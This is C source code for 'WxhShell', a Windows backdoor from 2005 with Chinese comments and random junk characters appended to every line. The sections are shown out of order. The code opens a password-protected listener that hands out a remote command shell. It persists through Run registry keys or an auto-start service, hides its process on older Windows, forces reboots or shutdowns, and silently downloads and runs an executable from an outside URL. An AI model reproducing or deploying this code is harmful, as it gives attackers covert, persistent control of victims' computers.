    if(Boot(SHUTDOWN)) /wJ4hHY  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); $ BgaLJs/O  
    else { j6~`C ?(  
    closesocket(wsh); a9.255  
    ExitThread(0); XOQ0(e6  
    } f(eXny@Y  
    break; ';8 ,RTe  
    } 5S!j$_(  
  // 获取shell :p@jslD  
  case 's': { V9}\0joM  
    CmdShell(wsh); eq8faC5  
    closesocket(wsh); e!L5 v?  
    ExitThread(0); #3LZX!  
    break; +l/kH9m  
  } LVm']_K(f  
  // 退出 NIQ}+xpC  
  case 'x': { ZsXw]Wa  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); ("j;VqYUL  
    CloseIt(wsh); 5lP8#O?=  
    break; N~IAm:G}[  
    } 1!;~Y#  
  // 离开 ((#BU=0iK  
  case 'q': { D_$N2>I-  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); DbB<8$  
    closesocket(wsh); C9MK3vtD.  
    WSACleanup(); Qjnh;uBO  
    exit(1); d}Guj/cx,  
    break; -AD` (b7q  
        } '%ZKvZ-  
  } _Li.}g@Bd  
  } He4HI Z  
0-{E% k  
  // 提示信息 islHtX VE  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 7t#Q8u?  
} V#.pi zb  
  } MZf?48"f  
4gev^/^^  
  return; ^[}W}j>  
} .o]I^3tf c  
"M/) LXn:0  
// shell模块句柄 Q(aNa!  
int CmdShell(SOCKET sock) /F"eqMN  
{ I0Allw[  
STARTUPINFO si; $M0l (htR  
ZeroMemory(&si,sizeof(si)); y4|<+9<7  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; ^'tT_ gT  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; >@cBDS<6R  
PROCESS_INFORMATION ProcessInfo; 8%YyxoCH  
char cmdline[]="cmd"; M=ag\1S&ZF  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); fK]%*i_"  
  return 0; CMbID1M3  
} |.yS~XFJS  
pCo3%(  
// 自身启动模式 6'e^np  
int StartFromService(void) 8rlf9m  
{ lc~c=17  
typedef struct E $\nb]JQ  
{ %O#zE-H"  
  DWORD ExitStatus; L>g6 9D !  
  DWORD PebBaseAddress; 40`Qsv0#  
  DWORD AffinityMask; aJjUy%  
  DWORD BasePriority; /=AFle2(  
  ULONG UniqueProcessId; 3)o>sp)Ji$  
  ULONG InheritedFromUniqueProcessId; [.xc`CF  
}   PROCESS_BASIC_INFORMATION; SB('Nqih  
RdyKd_0`Q  
PROCNTQSIP NtQueryInformationProcess; 0F_hXy@K  
sKKc_H3YSH  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; V9Mr&8{S4  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; ;r6YIS4@  
;~$Q;m 1  
  HANDLE             hProcess; "x$L 2>9  
  PROCESS_BASIC_INFORMATION pbi; eAI|zk6  
N TDmOS\,  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); _yH">x<  
  if(NULL == hInst ) return 0; 3kUb cm  
]}l.*v\uK  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); j1->w8  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); W+=j@JY}q9  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); hS &H*  
g@M5_I(W  
  if (!NtQueryInformationProcess) return 0; <3N\OV2  
j x< <h _j  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); Q<MxbHk9  
  if(!hProcess) return 0; "M2WK6?O5  
#?D[WTV  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; >d"\  
i?@7>Ca  
  CloseHandle(hProcess); Evg#sPu\  
KVEc:<|x  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); _99 +Vjy  
if(hProcess==NULL) return 0; h:C:opa-=  
|x&4vHXR0  
HMODULE hMod; MNTVG&h  
char procName[255]; 33eOM(`D[  
unsigned long cbNeeded; *sB'D+-/  
yil5 aUA  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); l*w'  O  
b%"/8rK  
  CloseHandle(hProcess); ` -SC,qHw  
DoO ;VF  
if(strstr(procName,"services")) return 1; // 以服务启动 f>cUdEPBb  
|?^N@  
  return 0; // 注册表启动 lB/ ^  
} F g):>];<9  
[)8O\/:  
// 主模块 5?Q5cD2]\6  
int StartWxhshell(LPSTR lpCmdLine) UA6 C/  
{ 9fTl6?x  
  SOCKET wsl; be_h uZ  
BOOL val=TRUE; PGxv4(%  
  int port=0; y0O e)oP  
  struct sockaddr_in door; =^*EM<WG)  
?y>v"1+  
  if(wscfg.ws_autoins) Install(); a Iyzt  
-AVT+RE9z  
port=atoi(lpCmdLine); vlDA/( &  
O tQ]\:p7  
if(port<=0) port=wscfg.ws_port; l<S3<'&  
$I#~<bW,  
  WSADATA data; Rc D5X{qS#  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; fwzyCbks  
Yh"9,Z&wiR  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   ngd4PN>{4  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); i Pl/I  
  door.sin_family = AF_INET; zp'hA  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); ?;5/"/i  
  door.sin_port = htons(port); |d6/gSiF  
;O,&MR{;|n  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { =)i^E9  
closesocket(wsl); Y Kp@ n8A  
return 1; RhF< {U.  
} mKV31wvK}  
pK_zq  
  if(listen(wsl,2) == INVALID_SOCKET) { .),9a,  
closesocket(wsl); j1+I_   
return 1; XS^du{ai  
} V8o, e  
  Wxhshell(wsl); {IBbN05 ;  
  WSACleanup(); gwg~4:W  
l$l6,OzS@  
return 0; P$AHw;n[R  
&A/b9GW^-  
} <.BY=z=H  
`2V{]F  
// 以NT服务方式启动 8<Yv:8%B6  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) > 9z-/e  
{ vKdS1Dn1  
DWORD   status = 0; g?}h*~<b  
  DWORD   specificError = 0xfffffff; TBF{@{.d  
k@n L(2  
  serviceStatus.dwServiceType     = SERVICE_WIN32; "OkZ [E)  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; ix?Z:pIS0  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; rXTdhw?+  
  serviceStatus.dwWin32ExitCode     = 0; "av/a   
  serviceStatus.dwServiceSpecificExitCode = 0; e9S*^2;  
  serviceStatus.dwCheckPoint       = 0; \fUVWXv  
  serviceStatus.dwWaitHint       = 0; B"*PBJuOA  
ga;t`5+d  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); k!+v*+R+V  
  if (hServiceStatusHandle==0) return; 7pep\  
}PDtx:T-  
status = GetLastError(); AtAu$"ue  
  if (status!=NO_ERROR) 6*>vie  
{ ]:?hU^H]<  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; ?=kH}'igq  
    serviceStatus.dwCheckPoint       = 0; 7Ot&]M  
    serviceStatus.dwWaitHint       = 0; ?G&J_L=@Y  
    serviceStatus.dwWin32ExitCode     = status; Dp^=%F{t  
    serviceStatus.dwServiceSpecificExitCode = specificError; ~:_10g]r  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); TDg<&ND3  
    return; XC/M:2$  
  } 6B>*v`T:  
NJoHrhC='  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; QOJ5  
  serviceStatus.dwCheckPoint       = 0; | ObA=[j  
  serviceStatus.dwWaitHint       = 0; 8zJye6f;l  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); MfFmJ7>Bg  
} f|s,%AU"i  
7(LB}  
// 处理NT服务事件,比如:启动、停止 OH 88d:  
VOID WINAPI NTServiceHandler(DWORD fdwControl) W7~OU(}[`  
{ Y~lOkH[z  
switch(fdwControl) pg<c vok  
{ P{2ED1T\  
case SERVICE_CONTROL_STOP: $3970ni,?O  
  serviceStatus.dwWin32ExitCode = 0; ;\/ RgN  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; ~_-+Q=3  
  serviceStatus.dwCheckPoint   = 0; {K/xI  
  serviceStatus.dwWaitHint     = 0; i5*/ZA_  
  { !g~u'r'1  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); #Wv8+&n  
  } uBM%E OE  
  return; [Mv'*.7  
case SERVICE_CONTROL_PAUSE: j zZEP4  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; >DzW  OB  
  break; '^2bC  
case SERVICE_CONTROL_CONTINUE: $V_w4!:Q  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; $B%3#-  
  break; AX )dZdd  
case SERVICE_CONTROL_INTERROGATE: BBl9<ne$  
  break; Fj <a;oV  
}; 9Z3Y,`R,  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); x:]_z.5  
} H3ob 8+J  
j(_6.zf  
// 标准应用程序主函数 8}Maj  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) JVPLE*T  
{ OF! n}.O(  
:%zAX  
// 获取操作系统版本 kH62#[J)yM  
OsIsNt=GetOsVer(); 2>Kn'p  
GetModuleFileName(NULL,ExeFile,MAX_PATH); >lO]/3j1  
P2U[PO  
  // 从命令行安装 ?V)M!  
  if(strpbrk(lpCmdLine,"iI")) Install(); dda*gq/p  
yfA h=  
  // 下载执行文件 Hegj_FQ  
if(wscfg.ws_downexe) { !T]bz+  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) ~llw_ w  
  WinExec(wscfg.ws_filenam,SW_HIDE); eI5W; Q4  
} 0IbR>zFg.  
oi^pU  
if(!OsIsNt) { @CCDe`R*  
// 如果时win9x,隐藏进程并且设置为注册表启动 [;7$ 'lr%D  
HideProc(); Reg%ah|$/=  
StartWxhshell(lpCmdLine); R&L^+?  
} ,L(q/#p  
else {w9GMqq  
  if(StartFromService()) YJ01-  
  // 以服务方式启动 F4&`0y:  
  StartServiceCtrlDispatcher(DispatchTable); 'd<1;Ayw  
else U {s T %G  
  // 普通方式启动 /JP%gD"8  
  StartWxhshell(lpCmdLine); M/8EaQs}  
0"c(n0L  
return 0; ;5aAnvgW  
} X]Ma:1+  
ItQ3|-^  
? y^t  
G5zsId dS  
=========================================== FS6ZPjG)  
m'L8z fX  
*Cx3bg*Gan  
tWI4x3 &2  
9,A HC2kn%  
8lT2qqlr  
" f9b[0L  
X&|y|  
#include <stdio.h> /A%31WE&1  
#include <string.h> DI:"+KMq{  
#include <windows.h> roWg~U(S  
#include <winsock2.h> o~p%ODH  
#include <winsvc.h> 6^Ax3# q  
#include <urlmon.h> IdL~0;W7  
 ZG-[Gz  
#pragma comment (lib, "Ws2_32.lib") Cn8w}) B  
#pragma comment (lib, "urlmon.lib") (>gHfC>(lq  
dWDf(SS  
#define MAX_USER   100 // 最大客户端连接数 }!5+G:JAh  
#define BUF_SOCK   200 // sock buffer ]1i1_AR'`  
#define KEY_BUFF   255 // 输入 buffer XZ1<sm8t."  
=:7OS>x  
#define REBOOT     0   // 重启 &^b mZj!  
#define SHUTDOWN   1   // 关机 An3%@;  
9]*hP](  
#define DEF_PORT   5000 // 监听端口 7V7iIbi  
.s>PDzM $  
#define REG_LEN     16   // 注册表键长度 t3FfPV!P"  
#define SVC_LEN     80   // NT服务名长度 bl`vT3  
>{w"aJ" F  
// 从dll定义API #F|w_P  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); 8j&LU,  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); p?4h2`P  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); +Zo&c}  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); H7R6Ljd?&S  
dfA4OZ&  
// wxhshell配置信息 c=\H&x3X  
struct WSCFG { ]$ iqJL  
  int ws_port;         // 监听端口 gye'_AR?k  
  char ws_passstr[REG_LEN]; // 口令 \y0uGnmCj  
  int ws_autoins;       // 安装标记, 1=yes 0=no c27\S?\ Jd  
  char ws_regname[REG_LEN]; // 注册表键名 AU/L_hg  
  char ws_svcname[REG_LEN]; // 服务名 F\hU V[  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 jM|-(Es. )  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 d"hW45L  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 jMB&(r  
int ws_downexe;       // 下载执行标记, 1=yes 0=no !&8HA   
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" xO` O$ie  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 Oxhc!9F  
dQH9NsV7g  
}; !S}4b   
J+20]jI  
// default Wxhshell configuration #[aHKq:?b  
struct WSCFG wscfg={DEF_PORT, I^yInrRh5  
    "xuhuanlingzhe", 9)]asY  
    1, ~xP4}gs1  
    "Wxhshell", fp2.2 @[  
    "Wxhshell", I2<t?c:Pn<  
            "WxhShell Service", 0!!z'm3  
    "Wrsky Windows CmdShell Service", v d}Y$X  
    "Please Input Your Password: ", I~P]_D mM  
  1, BjyGk+A   
  "http://www.wrsky.com/wxhshell.exe", 1me16 5y<B  
  "Wxhshell.exe" *wVWyC  
    }; f6-OR]R5  
#99fFs`w  
// 消息定义模块 d%='W|i\p&  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; NT<> LWo  
char *msg_ws_prompt="\n\r? for help\n\r#>"; is [p7-  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; A5LTgGzaW  
char *msg_ws_ext="\n\rExit."; g4 G?hv`R  
char *msg_ws_end="\n\rQuit."; C Nt  
char *msg_ws_boot="\n\rReboot..."; @u}1 S1  
char *msg_ws_poff="\n\rShutdown..."; Xeo2 < @[  
char *msg_ws_down="\n\rSave to "; 'WLh D<  
GH!Lu\y\  
char *msg_ws_err="\n\rErr!"; c$[cDf~  
char *msg_ws_ok="\n\rOK!"; & e~g}7  
,8MUTXd@ V  
char ExeFile[MAX_PATH]; yw9)^JU8"  
int nUser = 0; XAf,k&f3  
HANDLE handles[MAX_USER]; Gh#$[5&`  
int OsIsNt; ",gWO 8T  
tE]0 #B)D<  
SERVICE_STATUS       serviceStatus; {[%kn rRJ  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; r.T!R6v}  
hs  m%o\  
// 函数声明 C:WXI;*cr  
int Install(void); +)eI8o0#  
int Uninstall(void); P,/=c(5\}  
int DownloadFile(char *sURL, SOCKET wsh); ) FnJLd  
int Boot(int flag);  UX& ?^]  
void HideProc(void); bzt(;>_8  
int GetOsVer(void); P5^<c\Mr,Y  
int Wxhshell(SOCKET wsl); C0$KpUB  
void TalkWithClient(void *cs); *[^[!'kT&  
int CmdShell(SOCKET sock); 3HP o*~"]  
int StartFromService(void); {x#I&ra  
int StartWxhshell(LPSTR lpCmdLine); G uLU7a  
`78:TU~5S  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); L]C|&K P  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); HMymoh$Q  
WG0Ne;Ho  
// 数据结构和表定义 ev_4!+ko  
SERVICE_TABLE_ENTRY DispatchTable[] = /T_@rm  
{ (dh{Gk4=+  
{wscfg.ws_svcname, NTServiceMain}, {!`0i  
{NULL, NULL} vdLBf+Zi  
}; o2C{V1nB  
%kRQ9I".  
// 自我安装 )Kw Gb&l&  
int Install(void) LyB &u( )  
{ AQH\ ;L  
  char svExeFile[MAX_PATH]; 97%S{_2m/  
  HKEY key; L6-zQztn  
  strcpy(svExeFile,ExeFile); ^t'mfG|DV  
:t36]NM  
// 如果是win9x系统,修改注册表设为自启动 `X06JTqf:  
if(!OsIsNt) { U)n+j}vi  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 7;T6hKWV[  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); J XKqQxZ[X  
  RegCloseKey(key);  ta\CZp  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { ~T_4M  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); /d\#|[S  
  RegCloseKey(key); Jbrjt/OG#I  
  return 0; \<bar ~  
    } cn~M: LW23  
  } )_\ZUem  
} 9Rg|oCP_  
else { 0+]ol:i  
K~ 6[zJ4  
// 如果是NT以上系统,安装为系统服务 <lBY  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); YFF\m{#  
if (schSCManager!=0) {xzs{)9|Y4  
{ yp}a&Dg  
  SC_HANDLE schService = CreateService BmP!/i_  
  ( EqV]/0-\  
  schSCManager, v7ShXX:  
  wscfg.ws_svcname, OcBK n=8  
  wscfg.ws_svcdisp, |H LU5=Y  
  SERVICE_ALL_ACCESS, xKl!{A9$w  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , YF]W<ZpY  
  SERVICE_AUTO_START, k_^| %xJ  
  SERVICE_ERROR_NORMAL, 7vRFF@eq}  
  svExeFile, t3dvHU&Z:  
  NULL, ve [*t`  
  NULL, GRt1]%l#$  
  NULL, U;l!.mze  
  NULL, j~IX  
  NULL X \1grM  
  ); EO<{Bj=2  
  if (schService!=0) NZ}DbA+g;|  
  { = %O@%v  
  CloseServiceHandle(schService); hd@ >p.  
  CloseServiceHandle(schSCManager); ^` 96L  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); 8N8N)#A[  
  strcat(svExeFile,wscfg.ws_svcname); n%M-L[n  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { {Gd<+tQg  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); _qZ?|;o^  
  RegCloseKey(key); HFr#Ql>g  
  return 0; -/k;VT|  
    } ]~!jf  
  }  yO7xAb  
  CloseServiceHandle(schSCManager); iL%Q@!ka  
} m3cO { 1I  
} u0)~Im,X  
v7i5R !  
return 1; nMniHB'  
} &rcC7v K9  
/ynvQ1#uA  
// 自我卸载 >8pmClVvmR  
int Uninstall(void) $<y10DfO  
{ A1mxM5N  
  HKEY key; )@X `B d  
X/5\L.g2  
if(!OsIsNt) { Z`?Z1SBt  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { &_L FV@/  
  RegDeleteValue(key,wscfg.ws_regname); Kn WjP21  
  RegCloseKey(key); Hq[vh7Lux  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 'g4t !__  
  RegDeleteValue(key,wscfg.ws_regname); 1qR[& =/  
  RegCloseKey(key); dFu<h   
  return 0; ~s :M l  
  } DQ<{FN  
} 8hTtBa  
} J^Dkx"1GD  
else { `qNhB\  
lcv&/ A  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); RY>BP[h  
if (schSCManager!=0) @+9x8*~S'  
{ _;;'/rs j  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); ?f\;z<e|  
  if (schService!=0) Slk__eC  
  {  KKfC^g  
  if(DeleteService(schService)!=0) { E5#Dn.!~  
  CloseServiceHandle(schService); %[x oA)0!  
  CloseServiceHandle(schSCManager); d:U2b"k=/u  
  return 0; V! sT2  
  } K%XQdMv  
  CloseServiceHandle(schService); $yZ(c#L  
  } ; W/K7}  
  CloseServiceHandle(schSCManager); \Bg;^6U  
} ),G?f {`!  
} 5pOb;ry")`  
q,ry3Nr4n  
return 1; 'w'P rM,:  
} AI$r^t1  
]6`]+&  
// 从指定url下载文件 w3,1ImrXp  
int DownloadFile(char *sURL, SOCKET wsh) F~NmLm  
{ A,tmy',d"  
  HRESULT hr; d!V;\w  
char seps[]= "/"; [r_YQ*+ej  
char *token; A]z~Dw3  
char *file; H%!ED1zpA  
char myURL[MAX_PATH]; Px!M^ T!Pi  
char myFILE[MAX_PATH]; D!K){ E  
h)W?8XdM  
strcpy(myURL,sURL); Fp)+>o T  
  token=strtok(myURL,seps); igoXMsifT+  
  while(token!=NULL) Ft7{P.g  
  { x1gfo!BN  
    file=token; -QUr|:SK:  
  token=strtok(NULL,seps); ?r~|B/ ]  
  } duCso M/  
m+f?+c6  
GetCurrentDirectory(MAX_PATH,myFILE); M![aty@  
strcat(myFILE, "\\"); d)G' y  
strcat(myFILE, file); X3z$f(lF%)  
  send(wsh,myFILE,strlen(myFILE),0); 7O_@b$Q  
send(wsh,"...",3,0); ` >w4G|{  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); h";0i:  
  if(hr==S_OK) h  0EpW5  
return 0; D{Zjo)&tF'  
else .|[5*-  
return 1; e|`QW|9 .  
&\3k(j  
} x*8lz\w  
U"1z"PcV  
// 系统电源模块 c$cb2V7,  
int Boot(int flag) c.-/e u^|  
{ #].n0[  
  HANDLE hToken; R]0p L   
  TOKEN_PRIVILEGES tkp; YLr<^G-v  
aV^wTs#2I  
  if(OsIsNt) { 8Z=d+}Gg<  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); //SH=>w2  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); x@-bY  
    tkp.PrivilegeCount = 1; aoLYw 9  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; XZ@;Tyn0,  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); lJ+05\pE  
if(flag==REBOOT) { >L\>Th{o  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) EcBJ-j 6d  
  return 0; _[yBwh  
} (+@ Lnz\  
else { a3&&7n  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) E%R^ kqqr  
  return 0; q*^Y8s~3I  
} uXs.7+f  
  } )c'5M]V  
  else { Ca: jN0  
if(flag==REBOOT) { T gpf0(  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) j,q8n`@  
  return 0; =j%B`cJ66_  
} 9<0p1WO  
else { #6XN_<  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) B{\cV-X$0  
  return 0; 0JQ0lzk1  
} K#j<G]I( @  
} LX%K*nlj  
J3oEN'8S  
return 1; ub C(%Y_k  
} `yjHLg  
9y BENvq  
// win9x进程隐藏模块 6m#V=4e*  
void HideProc(void) RUJkfi=$  
{  xc%\%8C}  
I3;{II  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); E7A psi4]  
  if ( hKernel != NULL ) w"s;R8  
  { %M=[h2SN  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); m5O;aj* i  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); v/n4Lp$W^  
    FreeLibrary(hKernel); -E6#G[JJ  
  } (1~d/u?2\  
7 Jxhn!  
return; sV8}Gv a  
} H4s^&--  
=0te.io)3O  
// 获取操作系统版本 K[tQ>C@s2  
int GetOsVer(void) W|IMnK-  
{ %LeQpbyOR  
  OSVERSIONINFO winfo; {K\l3_=5qb  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); QEKRAPw  
  GetVersionEx(&winfo); `Yk~2t"V  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) ].W)eMC*c(  
  return 1; wVSM\  
  else z 6~cm6j  
  return 0; .}.?b  
} p2]@yE7w  
fj2pD Cic  
// 客户端句柄模块 ZLsfF =/G  
int Wxhshell(SOCKET wsl) "7v/ -   
{ #6<  X  
  SOCKET wsh; V$y6=Q <c  
  struct sockaddr_in client; z/IA @  
  DWORD myID; v-zi ,]W  
-f&16pc1t  
  while(nUser<MAX_USER) P`/;3u/P  
{ yc4?'k!  
  int nSize=sizeof(client); ?LJDBN  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); 2TH13k$  
  if(wsh==INVALID_SOCKET) return 1; >FO4]  
3\x@G)1  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); =o N(1k^  
if(handles[nUser]==0) 2K^D%U  
  closesocket(wsh); sVk+E'q  
else qPh @Bl3  
  nUser++; I r8,=  
  } .hBq1p  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); G?:{9. (  
Yt]tRqrh;T  
  return 0; W62 $ HI  
} N_dHPa  
uvN Lm]*  
// 关闭 socket r57&F`{  
void CloseIt(SOCKET wsh) 1&zvf4  
{ cT2&nZ  
closesocket(wsh); )gOVnA/M  
nUser--; lSMv9 :N  
ExitThread(0); <evvNSE  
} {WBe(dc_%  
+iS'$2)@  
// 客户端请求句柄 ;E Z5/"T  
void TalkWithClient(void *cs) 9YpgzCx Z  
{ bW"bkA80  
Wo&WO e  
  SOCKET wsh=(SOCKET)cs; 2nNBX2 o&_  
  char pwd[SVC_LEN];  8*nv+  
  char cmd[KEY_BUFF]; w_c)iJ  
char chr[1]; y^PQgzm]  
int i,j; B3x4sK s  
t=,ZR}M1`  
  while (nUser < MAX_USER) { b3/@$x<  
#@ClhpLD  
if(wscfg.ws_passstr) { 4Zz%vY  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); st- z>}  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); W''%{A/'  
  //ZeroMemory(pwd,KEY_BUFF); 9+:SS1_  
      i=0; @uh^)6i]/  
  while(i<SVC_LEN) { kJQH{n+)R  
i D6f/|g  
  // 设置超时 -L4fp  
  fd_set FdRead; Nk.m$  
  struct timeval TimeOut; 7a$K@iWU  
  FD_ZERO(&FdRead); r6.`9  
  FD_SET(wsh,&FdRead); NCW<~   
  TimeOut.tv_sec=8; q=I8W}Z i  
  TimeOut.tv_usec=0; l#%qF Db  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); \9HpbCHr  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); (p19"p  
oo+i3af&7  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); X8}m %  
  pwd=chr[0]; WqX$;' }h  
  if(chr[0]==0xd || chr[0]==0xa) { UL{+mp  
  pwd=0; 0+-"9pED>E  
  break; 1c5+X Cr  
  } ae%Bl[  
  i++; OC?a[^hB^)  
    } ?;GbK2\bj  
YC!IIE_  
  // 如果是非法用户,关闭 socket .<m${yU{3  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); _GhP{ C$  
} |IcA8[  
0oNNEC  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); L3/SIoqd  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); ^}w@&Bje  
%bN+Y'  
while(1) { *F<Ar\f5  
(Q]Ww_r~  
  ZeroMemory(cmd,KEY_BUFF); |wxAdPe  
DpRGPs  
      // 自动支持客户端 telnet标准   V 4#bW  
  j=0; G '1K6  
  while(j<KEY_BUFF) { 3_DwqZ 'O  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 8O[br@h:5  
  cmd[j]=chr[0]; 1>c^-"#e^  
  if(chr[0]==0xa || chr[0]==0xd) { #QUQC2P(~  
  cmd[j]=0; #&k`-@b5|  
  break; 539f B,  
  } ;\'d9C  
  j++; 7 @W}>gnf  
    } Io;x~i09K  
< )qJI'u|  
  // 下载文件 D'8xP %P  
  if(strstr(cmd,"http://")) { MyZ5~jnr\  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); &GfDo4$  
  if(DownloadFile(cmd,wsh)) N9dx^+\  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); `{oFdvL~)  
  else N*1{yl76x  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); &Z3u(Eb  
  } nF5\iV  
  else { ts:YJAu+F  
Jkx_5kk/\  
    switch(cmd[0]) { r"_U-w  
  g[c_rty  
